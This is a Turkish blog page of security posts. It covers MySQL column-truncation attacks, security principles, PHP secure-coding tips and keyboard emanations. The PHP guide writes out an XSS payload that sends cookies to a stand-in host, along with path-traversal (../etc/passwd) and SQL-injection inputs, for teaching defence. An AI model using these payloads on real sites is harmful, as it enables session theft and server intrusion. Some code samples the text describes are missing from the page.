Güvenlik olarak etiketli yazılar
MySql Sütun Kesintisi Açıkları
5 Oca
Bloguğunu takip ettiğim ve sevdiğim dostlarımdan biri olan aynı zamanda Bilişim Güvenliği ve Bilişim Suçlarına Karşı Mücadele Derneği Eğitmenlerinden biri olan Onur Yılmazın kendisinin derlediği ve özel olaraktürkçeye çevirttiği dökümanı okudum ve gerçekten güzel ve ince noktalara parmak basması sebebiyle sizlerle paylaşmak sitedim bende Bu güzel paylaşımı için tekrar teşekkür ediyorum kendisine ve yazısını hiç bir değişiklik yapmadan sizinle paylaşıyorum.
18 Ağustos 2008, Yazan: Stefan Esser – Çeviri: Ahmet Yıldırım (Sağolsun Ahmet arkadaşım benim için çevirmişti, yeni blogdan da paylaşalım..)
SQL-Injection, SQL kullanan Web uygulamalarında karşilaşilan en popüler güvenlik problemi olduğundan; çok uzun girdiler (overlong input) gibi SQL sorgularıyla ilgili diğer güvenlik tehditleri üzerinde yeterince durulmamaktadır. Atlanan bu güvenlik tehditleri de, SQL-Injection’lar gibi ciddi problemler oluşturma potansiyeline sahiptir.
Bu görmezden gelme hali, çok uzun girdilerin genellikle buffer overflow tarzı problemlere sebep olmasından ileri geliyor olabilir. Zira, buffer overflow’lar güvenlik uzmanlarının dahi hakkında pek az bilgiye sahip olduğu ve bu sebeple üzerinde dikkat göstermediği bir mevzu olarak karşimıza çikmaktadir. Buna karşin, hiçkimsenin bahsetmediği, SQL sorgularıyla alakalı çok uzun girdilerden kaynağını alan pek çok farklı ve ciddi problemin varlığı da bir hakikattir.
max_packet_size
MySQL’de; SQL istemcisi ile sunucusu arasında, gönderilen maksimum veri paketi boyutunu kontrol eden ve varsayılan değeri 1 megabyte olarak belirlenmiş olan max_packet_size adlı bir konfigürasyon seçeneği mevcuttur. Sorgular veya sonuç satırları tek bir paket içerisine uymayacak kadar büyük olursa bir hata oluşur ve çok uzun SQL sorguları sunucuya ulaştırılmaz, dolayısıyla da çalistirilmaz.
Bu durum, SQL sorgularında kullanılan türden uzun veriler sağlayabilen saldırganlarca ciddi güvenlik tehlikelerine sebep olacak şekilde suiistimal edilebilir. Bu meseleye güzel bir örnek, log sorgularında karşimıza çikmaktadir. Bu sorgular HTTP User-Agent, Session ID ve log mesajı gibi farklı türden pek çok veriyi geniş bir paket halinde gönderme imkanı tanıdığından, maksimum paket boyutunun aşilmasına da sebep olabilir.
Gerçek hayattan bir örnek daha vermek gerekirse; evvela belirtilen parametrelere uyan oturumları bir PHPi dizisine aktaran, daha sonra çoklu seviye temizliğini gerçekleştiren ve son olarak da seçilen tüm oturum id’lerini tek bir silme sorgusunun içerisine aktaran bir oturum tablosu temizleme işleminden söz edebiliriz. Anlaşilabileceği gibi, tablodan silinmesi gereken oturumların çok sayıda tanımlayıcı bilgiye sahip olduğu durumlarda sorgu çok uzun bir hal alır. Sonuç olarak, uygulama kısa bir zamanda çok sayıda oturumla şişirildiğinde, kullanılmayan gereksiz oturumlar daha sonra silinemez hale gelir.
Dolayısıyla Web uygulaması geliştiriciler, sunucuya çok uzun veriler göndermediklerinden emin olmalıdır. Önceden hazırlanmış ifadeler (prepared statement) kullanıp kullanmamak burada önemli değildir.
SQL Sütun Kesintisi Açıkları
Kullanıcı girdileri uygulama içerisinde uzunluk yönünden kontrol edilmediğinde, SQL sütun kesintisi açıkları ortaya çikabilir. SQL sütun kesintisi açığı, veritabanına veri eklenmesi esnasında uzunluktan dolayı kesilen çok uzun girdiler sebebiyle oluşan açıkları ifade etmek üzere kullandığım isimdir. Varsayılan modda MySQL, tanımlı olan maksimum sütun genişliği değerinden daha büyük olan girdileri keser, maksimum boyuta kadar gönderilen kısmı işler ve yalnızca bu işleme dair bir uyarı verir. Bu uyarılar genellikle web uygulamaları tarafından görülmez ve dikkate alınmaz. MySQL’de sql_mode, STRICT_ALL_TABLES şeklinde belirlenebilir ve bu uyarıların hata şekline dönüştürülmesi sağlanabilir; fakat uygulamalar genelde varsayılan modu kullanan sunucularda çalisir ve uygulamanın kendisi strict modu kullanıyor olsa bile ilk etapta bu hata üretilemez. Sonuç olarak uygulamalarda uzunluk kontrolüne başvurulması hayatî ehemmiyettedir.
Veri eklemelerindeki kesintilerin ne gibi problemlere sebep olabileceğini anlamak için aşağıdaki örnek üzerinde düşünebilirsiniz.
* Uygulama, yeni kullanıcıların kaydolabileceği bir forumdur.
* Administrator yetkisine sahip kullanıcının ismi bilinmektedir (örnegin admin).
* MySQL, varsayılan modda kullanılmaktadır.
* Kullanıcı isimlerinin uzunluğuna dair, uygulamada herhangi bir sınırlama kontrolü mevcut değildir.
* Veritabanında, kullanıcı isimlerini tutma işine tahsis edilmiş sütun 16 karaktere kadar veri kabul edecek şekilde düzenlenmiştir.Potansiyel bir saldırgan bu şartlar altında “admin ” nickini kaydetmeyi deneyebilir, fakat ‘isAlreadyRegistered’ kontrolü SQL sorgusunda devreye gireceğinden saldırgan bu hususta muvaffak olamaz.
SELECT * FROM user WHERE username=’admin ’
MySQL, varsayılan modda metin karşilaştırmalarını Binary modunda değil de güvenlik açısından daha rahat modlarda yapmaktadır. Mesela bu modlarda metin sonlarındaki boşluk karakterleri yok sayıldığından, “admin ” ve “admin” ifadeleri aynı kabul edilmektedir. Dolayısıyla uygulama yeni kullanıcı kaydına izin vermeyecektir.
Fakat saldırgan “admin x” nickini kaydetmeyi denediğinde; uygulama, veritabanında bu kullanıcı ismini arayacak, fakat 16 karakterle sınırlanmış bir veritabanı alanında 17 karakterli bir veriyi bulmak mümkün olmayacağından girilen verinin karşilığı veritabanında çikmayacaktir. Bu durumda uygulama yeni kullanıcı ismini kabul ederek veri tabanına ekleyecektir. Yalnız veritabanı yalnızca 16 karakter aldığından, yerleştirilen bu veri 16 karaktere kadar kesilecek ve boşluk karakterleri de dikkate alınmadığından netice itibarıyla admin nicki veritabanında iki defa yer bulacaktır.
Sonuç olarak kullanıcı tablosu, sondaki boşlukların yok sayılmasından dolayı aynı nicke sahip olan iki kullanıcıyı barındırmaktadır ve yukarıdaki select sorgusu çalistirildiginda her iki nick de döner. Bu noktada potansiyel bir tehlike oluşur, zira artık iş uygulamanın nick’leri ne şekilde işlediğine kalmıştır. Mesela aşağıda göstereceğimiz kod örnegi, öncesinde:
SELECT username FROM users WHERE username = ? AND passhash = ?
sorgusuyla kullanıcı şifresinin doğruluğunu test ettikten sonra kullanıcı adına bakarak kullanıcıyla ilgili verileri kontrol eden bir uygulamada açık doğurabilecek tarzdandır:
$userdata = null;
if (isPasswordCorrect($username, $password)) {
$userdata = getUserDataByLogin($username);
…
}SELECT * FROM users WHERE username = ?
İkinci admin kullanıcısını oluşturan kişi saldırganın bizzat kendisi olduğundan, bu kontrolü geçmesini sağlayacak şifreyi de bilmektedir. Gerçek admin kullanıcısı tablonun başinda yer alacağından, daha sonra kullanıcı verisi isme göre kontrol edilirken ilk etapta döndürülecek olan kullanıcı da admin yetkilerine sahip olan kullanıcıdır.Sonuç:
Burada bahsedilen iki problem de, web uygulamaları tarafından dikkate alınması gereken yeni tehlikelerdir; zira her ikisi de ciddi güvenlik problemlerine sebep olabilir. Bu açıklar bundan böyle bilinir hale geldiğinden, takip eden birkaç hafta içerisinde özellikle açık kodlu yazılımlarda bu noktalarla ilgili tavsiyeler görmek şaşirtıcı olmayacaktır.
Bilişim Güvenliği konusunda gerçekten güzel paylaşımları ve projeleri olan Onur’un bloğunu ziyaret etmek isterseniz buradan girebilirsiniz.
Bilişim Güvenliği ve Prensipleri
24 Ara
Bilişim Güvenliği Nedir?
Bilişim güvenliği, bilişim ürünleri/cihazları ile bu cihazlarda işlenmekte olan verilerin gizliliğini, bütünlüğünü ve sürekliliğini korumayı amaçlayan bir disiplindir.
Bilişim güvenliği temel olarak Gizlilik (Confidentiality) , Veri Bütünlüğü (Data Integrity) , Süreklilik (Availability) üç prensip ve bunlara eklenebilecek İzlenebilirlik/Kayıt Tuma (Accountability), Kimlik Sınaması (Authentication), Güvenilirlik (Reliability – Consistency), İnkar Edememe (Non-repudiation)
prensipleri ile ifade edilebilir. Bu prensipleri kısaca açıklamak gerekirse;
Gizlilik (Confidentiality) : Bu prensip Bilginin yetkisiz kişilerin eline geçmesini engellemeyi amaçlamaktadır. Bilgi hem bilgisayar sistemlerinde, hem disk, disket, cd, dvd ve benzeri saklama ortamlarında hemde ağ üzerinde gönderici ve alıcı arasında taşınırken yetkisiz erişimlerden korunmalıdır.
Saldırgan bir yapılandırma veya yazılım hatasını istismar ederek, yahut Sosyal Mühendislik teknikleri ile yetkili insanlarların hatalarını istismar ederek bilgilere izinsiz olarak erişebilir.
Parola dosylarının çalınması, ağ üzerindeki trafiğin gözetlenmesi ve kaydedilmesi, yetkili kullanıcının fark ettirilmeden gözetlenmesi ile kullanıcıya ait kullanıcı adı ve parola gibi özel bilgilerin alınması, sisteme giriş yapan kullanıcının bilgisayarını saldırganın izinsiz kullanması gibi durumlar Gizlilik (Confidentiality) prensibi kapsamında değerlendirilir.
Veri Bütünlüğü (Data Integrity) : Bu prensibin amacı veriyi olması gerektiği şekilde tutmak ve korumaktır. Var olan bilginin bozulmasını, değiştirilmesini, yeni veriler eklenmesini, bilginin bir kısmının veya tamamının silinmesini engellemeyi hedefler.
Bu durumda veri, haberleşme sırasında izlediği yollarda değiştirilmemiş, araya yeni veriler eklenmemiş, belli bir kısmı ya da tamamı tekrar edilmemiş ve sırası değiştirilmemiş şekilde
alıcısına ulaşır.
Süreklilik (Availability) : Bilginin her an ulaşılabilir ve kullanılabilir olmasını amaçlayan prensiptir. Bilişim sistemlerinin kendilerinden beklenen işi sürekli bir şekilde tam ve eksiksiz olarak yapmasını amaçlamaktadır. Süreklilik hizmeti, bilişim sistemlerini, kurum içinden ve dışından gelebilecek başarım düşürücü tehditlere karşı korumayı hedefler. Süreklilik hizmeti sayesinde, kullanıcılar, erişim yetkileri dahilinde olan verilere, veri tazeliğini yitirmeden, zamanında ve güvenilir bir şekilde ulaşabilirler.
Sistem sürekliliği sadece bir saldırı sonucu zedelenmez, yanlış, bilinçsiz ve dikkatsiz kullanım gibi kullanıcı hatları, yazılım hataları sonucu yazılımların çökmesi gibi yazılım hataları veya donanım sorunları, yangın, su basması, yıldırım düşmesi gibi ortam şartlarındaki olumsuz değişiklikler bu prensip kapsamındadır.
İzlenebilirlik/Kayıt Tuma (Accountability) : Bu prensip sistemde gelişen her türlü olayın daha sonra incelenmesine olanak sağlaycak şekilde kayıt altına alınmasını kapsar. Kullanıcıların sisteme giriş yapmaları, e-posta alıp göndermeleri, çeşitli servislerin ve yazılımların çalıştırılaması yahut durdurulması gibi bilgisayar sistemi veya ağ üzerinde meydana gelen her türlü etkinlik olay kapsamına girmektedir.
Toplanan kayılar incelenmek sureti ile bilinen saldırı türlerine ait kayıtların varlığı yahut büyük ihtimalle yeni bir saldırıyı işaret eden sıradışı kayıtların olup olmadığı kontrol edilerek sistem yöneticilerini uyaracak alarm mesajları üretilebilir.
Kimlik Sınaması (Authentication) : Kimlik sınaması alıcının veya göndericinin yahut kullanıcının iddia ettiği kişi olduğundan emin olanmasıdır. En basit şekli ile bir bilgisayar sistemine giriş yaparken parola girilmesi de kimlik sınamasıdır. Bilgisayar ağları ve bilgisayar sistemleri dışında fiziksel sistemler için de çok önemlidir ve bu yüzden Akıllı Kartlar veya Biyometrik teknolojilere dayalı kimlik sınama sistemleri kullanılamaya başlanmıştır.
Güvenilirlik (Reliability – Consistency) : Sistemin öngörülen ve beklenen davranışı ile elde edilen sonuçlar arasındaki tutarlılık durumudur. Sistemin kendisinden beklenen şeyi eksiksiz ve fazlasız olarak her çalıştırıldığında tutarlı bir şekilde yapması olarak tanımlanabilir.
İnkar Edememe (Non-repudiation) : Bu prensip verinin iletilidiği gönderici ve alıcı arasında ortaya çıkabilecek iletişim sorunları ve anlaşmazlıkları en aza indirmeyi amaçlar. İki sistem arasında bir bilgi aktarımı yapılmışsa ne gönderen veriyi gönderdiğini, nede alıcı veriyi aldığını inkar edememelidir. Özellikle gerçek zamanlı işlem gerektiren finansal sistemlerde kullanım alanı bulmaktadır.
PHP için önemli güvenlik önlemleri.
17 Kas
PHP’nin güvenlik zafiyetleri olduğu, bir çok anlamda yetersiz bir dil olduğu söyleniyor. Hatta Unix camiasının istenmeyen çocuğu gibi. Görüşüm, bu durumun, kaliteli PHP programcılarının (PHP Hackers) olmamasından ve PHP’nin nispeten kolay öğrenilen bir dil olmasından kaynaklanıyor. Bu da ilk olarak güvenlik konusunda zafiyetlere yol açıyor. Şimdi güvenlik konusuna girelim.Şu kesin; hiç sağ elinle sol kulağını tutmadan, bazı yöntemleri uygulayarak güncel web zafiyetlerinin %80 inden kaçmak mümkün. Ve bu PHP’de çok kolay bir şekilde yapılabilir.
1.Register Globals
Her güvenlik yazısında yüzlerce kere değinilmesine rağmen hala Register Globals kullanabilecek insanların olması ürkütücü! Bilindiği gibi Register Globals, $_Request (POSTve GET) değişkenlerini sanki o belgede tanımlanmış değişkenlermiş gibi göstererek direk o değişkene erişilmesine olanak verir.
?>
http://localhost/php_guvenlik/register_globals.php?ornek=deneme diye sayfadan çağrıldığında ekranda “deneme” yazıldığını göreceksiniz. ornek=deneme kısmını değiştirerek “ornek” değişkeninin değerini de adres çubuğundan kontrol edebilirsiniz. Ne büyük bir delik değil mi? Neyse ki register globals artık öntanımlı olarak kapalı geliyor ve PHP 6 ile birlikte de dilden çıkarılıyor. Eğer böyle bir global değişkene ihtiyaç duyan bir web uygulamanız varsa kodları komple gözden geçirmelisiniz.
2.Form Değişkenlerin Kontrolü ve Cross Site Scripting
Yine yüzlerce kere değinilen bir konu, motto şu: “Kullanıcıya asla güvenme!” . Kullanıcıdan aldığımız her şeyi önce acaba bu nükleer bir atık mı, hediye paketi süsü verilmiş bir bombamı, yoksa masum bir istek mi diye eldivenleri takıp laboratuar şartlarında incelememiz gerekir. Bir örnek vermek gerekirse şu yeter sanırım:
2003 yılında Hotmail Passport hesabında şöyle bir olay gerçekleşmişti:
https://register.passport.net/emailpwdreset.srf?lc=1033&em= kurban@hotmail.com&id=&cb=&prefem= hacker@attacker.com&rst=1 bu şekilde kurban@hotmail.com kullanıcısının bilgileri hacker@attacker.com maline gönderiliyordu. Ve bu açığa sebep olan Microsoft gibi bir şirket idi! Buradan hareketle mail adresi ve kullanıcı adının girildiği ve karşılığında parola kurtarma mailinin adresinize geldiği bir senaryo:
</form>
http://localhost/reset.php?kad=osman&email= osman@orhan.com
http://localhost/reset.php?kad=kamuran&email= osman@osman.com ile kamuran isimli kullanıcının bilgileri osman@osman.com a gönderiliyor.
Sırf siz email adresini kontrol etmediğiniz için. Güvenlik için kullanıcıdan gelen verileri kontrol etmeliyiz, $email değişkenindeki değerin bir email olup olmadığını küçük bir email_valid() fonksiyonu ile yapabiliriz ayrıca adresinin bu kullanıcıya ait olup olmadığını kontrol etmeliyiz, ondan sonra email adresine bir mail geçebilirsiniz!

Owasp Top #1 XSS
XSS nedir?
“XSS açıkları uygulama kullanıcıdan veri alıp, bunları herhangi bir kodlama ya da doğrulama işlemine tabi tutmadan sayfaya göndermesi ile oluşur. XSS saldırganın kurbanın tarayıcısında kullanıcı oturumları bilgilerin çalınmasına, web sitesinin tahrif edilmesine veya solucan yüklenmesine sebep olan betik çalıştırmasına izin verir .”
Hemen bir örnek verelim, burada kullanıcının oturum bilgileri çalınarak benimsunucum.org adresine gönderiliyor.
İşte burada devreye giriyor. Yollanan veriler http://sizinsite.com/yorum.php?ad=osman&yorum=yorum gibi gitmesi gerekirken cin fikirli bir kullanıcı bu adresi şöyle değiştiriyor:
http://sizinsite.com/yorum.php?ad=osman&yorum=<script>document.location=’http://benimsunucum.org/kaydet.php?cookies=’ + document.cookie </script>
yazarak oturum bilgilerinizi kaydediyor. Verilerin POST ile gönderilmesi buna bir çözüm olabilir diyorsanız yanılıyorsunuz. Zira GET ve POST metotlarının ikiside kolayca manipüle edilebiliyor. Sadece POST ile adres satırında alenen değil gizli şekilde yapılıyor. Bu web programcılarının yaptığı en büyük zafiyet. Bunun için gelen veriler önce bir değerlendirmeye alınmalı, daha sonra kullanılmaya gönderilmelidir. Şunun gibi güvenli bir kod yapılabilir.
SQL Injection
Örnek bir formumuz olsun:
Şimdi bu formu işleyen PHP kodumuza bakalım:
Kodu fazla detaylandırmadan hemen hatalara bakalım. Kullanıcıdan gelen veriler kontrol edilmede direk veritabanında işleme alındı. En büyük zafiyetlerden birisi bu. Mottomuzu hatırlayalım. Kullanıcıya asla güvenme! Mesela kullanıcı adı kısmına şu yazılsa:
root – eğer varsa root kullanıcı bilgilerini ekrana dökecekti. SQL de “–” işareti yorum başlangıcını ifade eder. Yani koddaki geri kalan AND parola = ‘$parola’ kısmı artık yok oldu. Ya da şu şekilde bir kod enjekte edilebilir.
kullaniciadi = ‘osman’ OR 1 =1
kullanıcıadı kısmına osman or 1=1 yazılarak tüm kullanıcıların bilgisine ulaşılınabilinir. Pis bir elmayı yıkamadan yemek gibi. Hasta olmamak için önce elmayı yıkamamız gerekli. Öncelikle daha önce belirttiğimiz gibi html filtreleyicileri kullanılmalı:
Daha sonra klasik SQL sınıfları yerine PDO gibi bir sınıf kullanarak (Dilin doğal kütüphanesi olduğu için bunu tercih ediyorum ) veriler veritabanından sorgulanmalı;
Burada kad bir string ve parola bir integer değer olarak sorgulanıyor. Bunların dışındaki değerler için $query->execute() işlemi gerçekleştirilmiyor. Bu yöntem (prepared statments) sql injection saldırılarını %99 azaltabilir (belki %99,9) fakat diğer bir özelliğide normal sql sorgularına göre hızlı çalışması. Yani güvenliği ön plana çıkaryım derken çoğu zaman performanstan kayıp yaşanır ama ama burada bu iş tersine dönüyor. Bu da SQL injectionu savuşturmada elimizi güçlendiriyor.
Session İşlemleri
SESSION işlemleri bir çok web uygulamasının kullanıcı ve oturum yönetiminde kullanılıyor. Ama sadece browserda depolanan SESSION cookie lerini kullanarak oturum yönetimi yapan uygulamalar güvensiz uygulamalardır. Kötü niyetli kullanıcı XSS açıklarından yararlanıp browserda depolanan SESSIONID leri çalarak , bu SESSIONID ile siteye gelip o kullanıcıyı taklit ederek bilgilerine ulaşabilir. Bundan dolayı her sayfa için belli bir anahtar ve değer ikilisi kullanmak şu an için en mantıklı çözüm:
ve SESSION kullanan sayfalarda bir kilit yapıp bunların uyup uymadığını kontrol edebilirsiniz.
Kendi şifreleme algoritmalarınızı oluşturabilir ve sayfalar arasında iletişim kuran verileri bu algoritma ile şifreleyip geri şifreyi çözerek uygulamayı kendi içinde güvenli hale getirebilirsiniz.
Dosya Enjektesi ve RFI
Bazı sınıflarınızı PHP nin include veya require methodlarıyla diğer dosyaların içinden çağırabilir ve kod karmaşasının önüne geçebilirsiniz. Bunun için kullanılınan include ve require methodları tahmin etmediğiniz açıklara sebep olabilir.
Burada $page değişkeniyle gelen değer varsa direk include ediyoruz. Mantıklı olan dosyayı direk değil kontrol ederek require_once metoduyla sayfaya dahil etmek.
Include , include_once ve require, require_once _once takısı alan metod daha önce o dosyanın dahil olup olmadığına bakar yani siz sayfanın belli yerlerinde tek bir kod çalıştırmak istiyorsunuz. Diyelim ki tarih.php sayfasında bir tarih-saat formatınız var ve onu sayfanın farklı yerlerinde ekrana basmak istiyorsunuz.
include_once(‘tarih.php’); // tarih basıldı
include_once(‘tarih.php’); // daha önce bu include işlemi gerçekleştirildiği için tekrarlanmadı.
Yapılan testlerde require_once nin en hızlı yöntem olduğu gözlenmiştir.
Mesela sayfaların farklı alanlarını göstermek için şöyle bir kod kullanıyor olalım:
index.php?sayfa=iletisim.html
PHP kodu:
Masumca iletişim sayfasını göstermesi gereken kodumuza bir de şimdi bakalım:
index.php?sayfa=../etc/passwd
Ekrana sunucunun root kullanıcı bilgileri geldi! Evet elimizle sunucuyu verdik. Sisteme tam yolu göstererek sayfaya dâhil etmek ve require_once metodunu kullanarak bu zafiyeti atlatabiliriz.
$dir = ‘./inc/’;
require_once $dir . $sayfa ; // sadece inc içindekileri require edebilir.
PHP Tip Denetimi ve Güvenlik
PHP de tip denetim yapısı katı değildir ve bu güvenlik sorunlarını tetiklemektedir. Uygulamanızda değişken tiplerinin neler olduğunu bilmek ve mantıksal olarak kullanıcıdan gelen değişkenlerin türünü bilmek birçok durumda hataları ortadan kaldırabilir. Mesela kullanıcının yaşını getiren bir form değişkenimiz olsun;
$yas = $_POST['yas']
Şimdi bu “$yas” değişkeninin sadece tamsayı olmasını bekleriz, ama oradan biraz önce bahsettiğimiz gibi farklı şeyler gelebilir. Bunun için $yas değişkenin gerçekten beklediğimiz “tamsayı” türünden bir değişken mi yoksa farklı türden bir değişken mi gelmiş bir bakalım.
Yöntem-1
Burada değişkenin türüne bakılıyor eğer tamsayı ise izin veriliyor yoksa hata veriyor.
Yöntem-2
$yas = (int) $_POST['yas'];
bu yöntemle $yas değişkenini bir tamsayıya çevirdik. Eğer yaş değişkeninden “<script> … </script>” gibi bir değer gelirse (int) yöntemi onu hemen bir tamsayıya çeviriyor. Burada $yas = 0 oluyor ve “<script> … </script>” kısımlar etkisiz hale getiriliyor. settype(), gettype(),is_string(),is_int(),is_float(),is_bool() fonksiyonlarıyla tür kontrollerini yapabilirsiniz. Ve bu fonksiyonlar güvenli web uygulamaları geliştirmenizde çok işinize yarayacaktır.
Uzunlukları Kontrol Etmek
Gelen değişkenlerin uzunluklarını kontrol etmek de bazı durumlarda çok işinize yarayabilir. Yine mantıksal adımlarla ilerleyelim. Mesela bir formdan kişinin kullanıcı adı ve parolasını alalım. Veritabanında bu bilgiler VARCHAR türü 12 karakterle tutulan bir alan olsun. Gelen form verilerini direk işleme sokmak yerine önce kaç karakterli olduklarına bakalım.
Buradaki kodda kullanıcıadı ve parola değişkenlerinin uzunluklarını kontrol edip 12 karakterden büyük olup olmadıklarına baktık. Eğer herhangi birisi 12 karakterden uzunsa hata verilmesini sağladık. Bu işlem ile URL Encode , Desimal ve Heksadesimal HTML ataklarına karşı sizi koruyabilir. Son Olarak hata raporlarının yanlış tanımlanması büyük sorunlara yol açmasa da haşarı cracker arkadaşlara tahminlerde bulunulmasına ve büyük açığın tespit edilmesinde yardımcı olabilir.
error_reporting(E_ALL);
ile bütün hataları ekrana basarsınız. E_ALL yerine farklı seçeneklerle bu durumun önüne geçebilirsiniz.
www.bilgiguvenliği.gov.tr adresinden osman beyin yazısından alıntıdır.
Kablosuz Klavyeler Kırılıyor.
23 Eki
Son yapılan araştırmalar sonunda Kablosuz (wireless) klavyelerin yaydığı elektrromanyetik dalgalar üzerinden yazılan yazının deşifre edilebildiğini ortaya koydu.

Keylogerlardan sonra şimdide kablosuz klavyelerden ortaya çıkan elektromanyetik dalganın dinlene bildiği hatta kayıt edilebildiği ortaya çıktı. Buna karşı tek tedbirin kablolu klavye kullanımı olduğunu savunmakta yanlış çünkü araştırmayı yapanlar İsviçreli kriptoloji ve güvenlik uzmanları kablolu klavyelerin yaydığı elektromanyetik dalgaların da 20 metreye kadar bir mesafeden algılanıp kaydedilebildiğini, arada duvar olmasının buna hiç engel olmadığını tespit etti. Uzmanlar, önemli bilgilerin girildiği ATM gibi sistemlerin klavyelerinin de aynı dalgalardan yaydığını belirterek, kullanıcı bilgilerinin girilmesi için klavye kullanılmamasını önerdiler.
Tabi ne kullanacağız diye sorarsanız şimdilik bunu bir cevabı yok :). Sanırım Amerika hükumetinin, elektronik cihazların elektromanyetik dalgalar yaymasını azaltmaya uğraşan “Tempest” isimli projesinden çıkarılacak olan bulgular, çevre birimleri için standart haline getirilirse bir şansımız olabilir.
chroot nedir?
22 Eki
| Az önce yine ulusalbilgi güvenliği sitemizde gezerken ilgimi çeken bir yazıya rastladım ve sizinle paylaşmak istedim buyrun hep birlikte okuyalım. | |
|


